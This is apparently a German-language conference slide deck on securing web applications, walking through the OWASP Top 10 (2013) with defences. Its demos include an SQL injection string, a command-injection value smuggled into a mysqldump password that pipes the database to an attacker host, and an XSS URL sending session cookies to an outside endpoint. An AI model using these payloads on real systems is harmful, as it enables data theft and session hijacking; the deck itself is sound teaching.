Sichere Webanwendungen

Thomas BachmannLead Software Architect & CIO

Mambu GmbH

Twitter: @thobach

● Core Banking System○ Verwaltung von Kunden, Konten, Transaktionen○ Buchhaltung, Dokumentenmanagement,

Kundenkommunikation, Aufgabenverwaltung○ Produktsetup, Nutzer- und Rechtemanagement

● Sensible Kundendaten○ Buchhaltung des Unternehmens○ Endkundendaten (CRM)○ Finanzdaten von Endkunden (Verhalten, Bonität)

Anwendungsbeispiel

IT-Sicherheit

● IT-Sicherheit bezeichnet einen Zustand, in dem die Risiken, die beim Einsatz von Informationstechnik aufgrund von Bedrohungen und Schwachstellen vorhanden sind, durch angemessene Maßnahmen auf ein tragbares Maß reduziert sind.

● IT-Sicherheit ist also der Zustand, in dem Vertraulichkeit, Integrität und Verfügbarkeit von Informationen und Informationstechnik durch angemessene Maßnahmen geschützt sind. (BSI)

Definition IT-Sicherheit

IT System &Daten

Sch

wac

hste

llen

Bedrohung / Angriff

Maßnahmen

Risiken IT-Sicherheit

Schutzziele der IT-Sicherheit

● Sicherstellung von Datenzugriff nur für befugte Akteure● Ausschluss von Beobachtung des Datentransfers oder

Manipulation von Daten durch unbefugte Akteure

● Umsetzungsbeispiele○ Einsatz von Authentifizierung, Autorisierung und Kryptographie zur

Sicherstellung der Identität, Berechtigung und vertraulichen Übertragung

Vertraulichkeit

● Datenmanipulation nur durch befugte Akteure● Gewährleistung der Nutzung von vollständigen,

korrekten und aktuellen Daten● Vermeidung von Datenkorruption

● Umsetzungsbeispiele○ Berechtigungssystem zur Verhinderung der direkten Datenbank

Manipulation des Kontostands durch Administrator○ Checksummen○ Logische Validierung der Integrität durch Fremdschlüssel

Integrität

● Verhältnis Ausfallzeit zur vereinbarten Zugänglichkeit und Funktionsfähigkeit○ (vereinbarte Servicezeit - Ausfallzeit) / vereinbarte

Servicezeit○ Hochverfügbarkeit (99,99% Verfügbarkeit)

● Beispiel○ Einsatz von redundanten, fehlertoleranten Systemen

Verfügbarkeit

● Authentizität: Echtheit des Systems mit dem ich kommuniziere ist gewährleistet○ z.B. Einsatz von SSL Zertifikaten

● Nichtabstreitbarkeit: Akteur kann nicht abstreiten dass er die Aktivität getätigt hat○ z.B. Einsatz von Audit Trails und Nutzung von MFA

oder kryptographischen Signaturen● Zurechenbarkeit: Zuordnung von Aktivitäten zu Akteuren

○ z.B. Einsatz von Audit Trails

Authentizität, Nichtabstreitbarkeit, Zurechenbarkeit

Soweit zur Theorie...

OWASP Top 10

Sicherheitsrisiken für Webanwendungen

● A1: Injection● A2: Fehler in Authentifizierung und Session-Management● A3: Cross-Site Scripting (XSS)● A4: Unsichere direkte Objektreferenzen● A5: Sicherheitsrelevante Fehlkonfiguration● A6: Verlust der Vertraulichkeit sensibler Daten● A7: Fehlerhafte Autorisierung auf Anwendungsebene● A8: Cross-Site Request Forgery (CSRF)● A9: Nutzung von Kompon. mit bekannten Schwachstellen● (A10: Ungeprüfte Um- und Weiterleitungen)

OWASP TOP 10 - Version 2013

● Interpretation von nicht-validierten Eingaben● Angriffe

○ Daten auslesen, modifizieren, löschen○ Befehle ausführen

● Beispiele: SQL, LDAP, OS Injection○ SQL Injection: ' or 1=1 or username='

(http://localhost:8080/owasp-top10/?filter=%27+or+1%3D1+or+username%3D%27&filter=Submit)■ Alle Nutzernamen aller Mandanten■ Time-based Injection - alle Informationen

A1: Injection

Aber ich nutze doch JPA!

● Beispiele (continued):○ OS Injection: parametrisierte Systemaufrufe, z.B.

MySQL Dump Wrapper: mysqldump -u “ + dbUsername + “ -p“ + dbPassword + “ -h “

+ DB_HOST + “ “ + DB_NAME mit dbPassword = “passw0rd -h realHost anyDb | mysql -u myUser -pmyPassw0rd -h evilHost myDb”

○ Nutzung von Bibliotheken die Daten interpretieren (Document/PDF Preview, Jasper Reports)

A1: Injection

A1: Injection● Schutz (1)

○ Allgemein■ Eingabevalidierung und -bereinigung (Traue

keinem Client)○ Zusätzlich gegen SQL Injection:

■ Prepared Statements mit Platzhaltern■ Keine String Konkatenation um SQL Befehle zu

generieren

A1: Injection● Schutz (2, continued)

○ Zusätzlich gegen Library Injection:■ Testen ob Code ausgeführt wird■ Quellcode review ob Eingaben / Dateien

interpretiert werden■ Informationen beim Anbieter einholen■ Externe Penetrationstester drauf ansetzen

● Fehler in Authentifizierung und Session-Management

● Angriffe:○ Existierende Session übernehmen○ Fremde Session autorisieren○ Identität stehlen

A2: Auth. und Session-Management

● Beispiele:○ Session Fixation:

http://localhost:8080/owasp-top10/index.jsp○ Session Cookie stehlen per XSS:

http://localhost:8080/owasp-top10/index.jsp?filter=%3Cscript%3Ex+%3D+new+XMLHttpRequest%28%29%3B+x.open%28%22GET%22%2C+%22http%3A%2F%2Frequestb.in%2F1krxmqz1%3Fs%3D%22+%2B+document.cookie%2C+true%29%3B+x.send%28%29%3B%3C%2Fscript%3E&filter=Submit

A2: Auth. und Session-Management

A2: Auth. und Session-ManagementAngriffsmöglichkeiten Schwachstellen Schutzmaßnahmen

Existierende Session übernehmen

Session Cookie per JS auslesbar (XSS)

"HTTP only" Flag für Session Cookie setzen

Unverschlüsselte Übertragung (HTTP im offenen WLAN)

HTTPS erzwingen (Redirect von HTTP auf HTTPS), Secure Flag

Session ID per URL geteilt (Browser Historie, geteilt per E-Mail, Apache Logs)

URL Rewrite für Session IDs deaktivieren und Cookies verlangen

Session läuft serverseitig nicht oder zu spät aus

Kurze Session Expiry setzen & 2. Faktor hinzuziehen (IP Adresse, System Fingerprint)

Session bei Logout nur auf Client Seite gelöscht (Cookie)

Serverseitig Session zerstören

A2: Auth. und Session-ManagementAngriffsmöglichkeiten Schwachstellen Schutzmaßnahmen

Fremde Session autorisieren Session Fixation (Nutzer authentifiziert meine Session ID)

Bei Login neue Session ID generieren

Identität stehlen (1) Erlauben unsicherer Passwörter Starke Passwortregeln (alphanumerisch, 14 Zeichen)

Passwörter unsicher persistiert (ungehasht)

Passwörter nur gehasht und gesalzen ablegen, z.B. BCrypt

Demo Zugänge oder Standard Admin Passwörter

Keine Testzugänge zulassenKeine Standard Passwörter benutzen

A2: Auth. und Session-ManagementAngriffsmöglichkeiten Schwachstellen Schutzmaßnahmen

Identität stehlen (2, continued) Kompromittiertes Passwort durch Versand via E-Mail oder Login über HTTP

Passwort (neu) setzen nur über HTTPSLogin über HTTPS erzwingen (Redirect von HTTP auf HTTPS)

Passwort Reset Link ohne Ablaufdatum oder mehrfache Nutzbarkeit

Passwort Reset Links nach Einmal-Nutzung und spätestens 1h ablaufen lassen

Passwort im Browser Passwort Safe gespeichert / Auto-Vervollständigung

Auto-Completion für Login Formular deaktivieren (leider oft ignoriert)

● Schwachstelle: Ungefilterte Ausgabe und Interpretation von Eingabedaten

● Angriffsmöglichkeiten○ Existierende Session übernehmen○ Informationen stehlen○ Unbeabsichtigte Aktion ausführen

● Beispiel:○ http://localhost:8080/owasp-top10/index.jsp?filter=%3

Cscript%3Ealert%28%22hi%22%29%3B%3C%2Fscript%3E&filter=Submit

A3: Cross Site Scripting (XSS)

A3: Cross Site Scripting (XSS)● Schutz:

○ Eingabevalidierung (z.B. Länge, Regex, Whitelisting)○ Bereinigung vor Persistierung○ Escaping der Ausgabe○ Content Security Policies (CSP)

■ Content-Security-Policy: default-src 'self';

● URL (Parameter) Manipulation

● Angriffe○ Zugriffe auf unberechtigte Informationen / Dateien○ Ausführen unberechtigter Aktionen

● Beispiel: http://localhost:8080/owasp-top10/user.jsp?userId=2

A4: Unsichere direkte Objektref.

● Schutz○ Rechtevalidierung bei jedem Aufruf (auch bei "private

Links")○ Nutzung indirekter Referenzen auf Client Seite und

Umwandlung in Datenbank Referenz im Server

A4: Unsichere direkte Objektref.

● Öffnung des Systems durch fehlerhafte Konfiguration● Angriffe durch

○ Standardpasswörter oder kein Passwort○ öffentliche Erreichbarkeit von internen Servern

A5: Sicherheitsrelevante Fehlkonf.

A5: Sicherheitsrelevante Fehlkonf.● Schutz

○ Dokumentation bzgl. Produktionseinsatz beachten○ Konfigurationsdateien lesen und verstehen○ Schutzmechanismen auf mehreren Ebenen einbauen

■ Netzwerk: IP & Port Whitelisting■ Netzwerk: Verschlüsselung der Verbindung■ Netzwerk: DMZ z.B. mit Bastion Host der Zugriff

nur per SSH-Tunnel erlaubt■ Anwendung: Sichere Passwörter■ Intrusion Detection / Prevention System

A6: Verlust der Vertraulichkeit s. D.● Beispiele

○ Ungeschützte Datenbanken, z.B. MongoDB○ "Private" Links z.B. aus Dropbox○ Standardpasswörter oder unsichere Passwörter○ Brute Force○ Netzwerk belauschen (offenes WLAN, physikalischer

Angriff)○ Physischer Zugriff auf unverschlüsselte Backups○ Schwache Kryptografie (MD5, SSLv3, TLS <1.2, RC4,

schwache Zufallszahlen, kein / gleiches Salt, HTTP)

● Schutz (1)○ Risikomanagement○ Datensparsamkeit (Erhebung & Löschung)○ Starke Kryptographie (Algorithmen)○ siehe Sicherheitsrelevante Fehlkonfiguration○ siehe Unsichere direkte Objektreferenzen○ Keine Verwendung von "Privaten" Links○ Verschlüsselung des Netzwerkverkehrs

A6: Verlust der Vertraulichkeit s. D.

A6: Verlust der Vertraulichkeit s. D.● Schutz (2)

○ Ende-zu-Ende Verschlüsselung der Daten (PGP)○ Multi-Faktor-Authentifizierung (Wissen, Besitzen)

■ Passwort■ feste IP Adresse■ zeitbasierte Einmalschlüssel / Time-based

One-time Password Algorithm (TOTP)

● Parameter Manipulation in Verbindung mit fehlender oder fehlerhafter serverseitiger Rechte Prüfung

● Beispiel○ Eingabeparameter Manipulation bei nur clientseitige

Eingabevalidierung:curl 'http://localhost:8080/owasp-top10/user.jsp?userId=1' --data 'userId=1&username=abcdef'

○ Referenzierung von Objekten ohne Zugriffsrechte

A7: Fehlerhafte Autorisierung a. AE.

A7: Fehlerhafte Autorisierung a. AE.Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen

Direkter Aufruf einer URL die nur höher privilegierte Nutzer in der Oberfläche sehen

Fehlende serverseitige Rechteprüfung bei jedem Aufruf und Ressourcenzugriff

Serverseitige Rechteprüfung für alle Funktionen und Ressourcen inkl. abhängigen Sub-Ressourcen

Relevante Autorisierung wird als Anfrageparameter (z.B. Rolle im Cookie) übergeben

Speicherung von Berechtigungen in Session oder Echtzeit Rechte Abfrage auf Datenbank bei jeder Aktion

Manipulation von Daten außerhalb meines Sichtbarkeitsbereichs

Fehlende serverseitige Rechteprüfung bei jedem Aufruf und Ressourcenzugriff

Serverseitige Rechteprüfung für alle Funktionen und Ressourcen inkl. abhängigen Sub-Ressourcen die als Parameter übergeben werden

● Besuch einer Webseite löst ungewollt Aktion auf einer anderen Webseite aus

● Beispiel○ andere Webseite hat XSS Lücke○ bösartige Webseite

■ file:///Users/thobach/Documents/MyMam

bu_Workspace/owasp-top10/static/evil-website.html

○ bösartige Werbeanzeige auf gutartiger Webseite

A8: Cross-Site Req. Forgery (CSRF)

● Bonus: Logout Button benutzen

A8: Cross-Site Req. Forgery (CSRF)Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen

Böswilliges oder manipuliertes img oder iframe Tag, JavaScript oder Formular auf dritter Webseite

Kein unvorhersehbarer geheimer Token bei jeder Anfrage mitgesendet bzw. kein zweiter Faktor bei sensiblen Anfragen verlangt

CSRF Token bei Login erzeugen und jedem Request im Payload mitsenden (nicht Cookie, z.B. hidden input Feld) und serverseitig prüfen (z.B. Servlet Filter)

Captcha, Passwort erneut verlangen, TAN

Access-Control-Allow-Origin: *

Same-origin Policy

● Scan oder Analyse der Anwendung gibt benutzte Drittkomponenten preis, die ggf. veraltet und angreifbar sind

● Beispiel:○ Response Header Server weist auf Tomcat hin

○ Fehlermeldung zeigt Tomcat Version: http://localhost:8080/owasp-top10/user.jsp?userId=

○ Heartbleed (OpenSSL / CVE-2014-0160)

A9: N. v. K. m. bekannten Schwachst.

HTTP/1.1 200 OKServer: Apache-Coyote/1.1

Angriffsmöglichkeiten Schwachstellen Schutzmaßnahmen

1. Scan oder Analyse der Anwendung auf genutzte Komponenten und Versionen

2. Ausnutzen von Sicherheitslücken in genutzten Komponenten

Preisgeben der genutzte Komponenten und Versionen (security through obscurity)

Fehlerseiten im Produktivbetrieb deaktivieren

Server Response Header überschreiben

Ausnutzen bekannter Schwachstellen (Injection, XSS, CSRF, Konfiguration, Kryptographie)

Nutzung aktueller Versionen (aktives Dependency Management, Dependency Tree)

Nutzung sicherer Komponenten (Framework/Library Management)

Härten der genutzten Komponenten (Konfiguration)

A9: N. v. K. m. bekannten Schwachst.

● Offene Um- oder Weiterleitungen ohne Prüfung durch die der Nutzer vermutet es sei eine sichere Seite

● Beispiele○ Weiterleitung von vertrauenswürdiger URL z.B. auf

Phishing Seite: http://www.example.com/redirect.jsp?url=evil.com

○ Weiterleitung auf interne Seite für die keine Berechtigung existiert: http://www.example.com/boring.jsp?fwd=admin.jsp

A10: Ungeprüfte Um- und Weiterleitg.

● Schutzmaßnahmen○ auf Weiterleitungen oder Umleitungen verzichten○ oder Whitelisting verwenden und Autorisierung prüfen

A10: Ungeprüfte Um- und Weiterleitg.

Weitere Vorgehensweise

● Sicherheitsziele und -policy festlegen und sensibilisieren● Risikoprofil erstellen

○ Daten, Systeme, Angriffsmöglichkeiten, Schutzmaßnahmen und konkrete Umsetzungsmöglichkeiten erfassen und priorisieren

● Implementierung anhand Priorisierung● Interner Test● Externer Penetrationstest● Prozess: PDCA● “Tue Gutes und sprich darüber” - Sichtbarkeit beim Mgmt.

Risikomanagement

● Anbieterauswahl (Vertrauen, Qualifikation, Beispiel Reports, Kosten)

● Risikobasierter Ansatz, Risikoprofil, Umfang● Projektansatz● Umsetzung der Ergebnissen einplanen● Re-Test zumindest bei erstem externen Test einplanen● Abstand von Sicherheitszertifizierungen für

Anwendungen● Frequenz, Anbieterwechsel, Umfang● 5 Whys Meeting (Prozessprobleme)

Erfahrungen mit ext. Penetrationstests

Zusammenfassung

Technisch● Client- und Serverseitige Eingabevalidierung

(Injection, XSS)● Sessionmanagement (Autentifizierung, CSRF)● Serverseitige Rechteprüfung● Layered Security / Defense in Depth● Aktuelle, hochwertige, wohl-konfigurierte

Dependencies● Starke Verschlüsselung (Transport & Ruhe)

Menschen● Ausbildung● Sensibilisierung

Prozesse● Risikomanagement (PDCA)● Secure Coding Guidelines● Code Reviews

Fragen und Feedback

Danke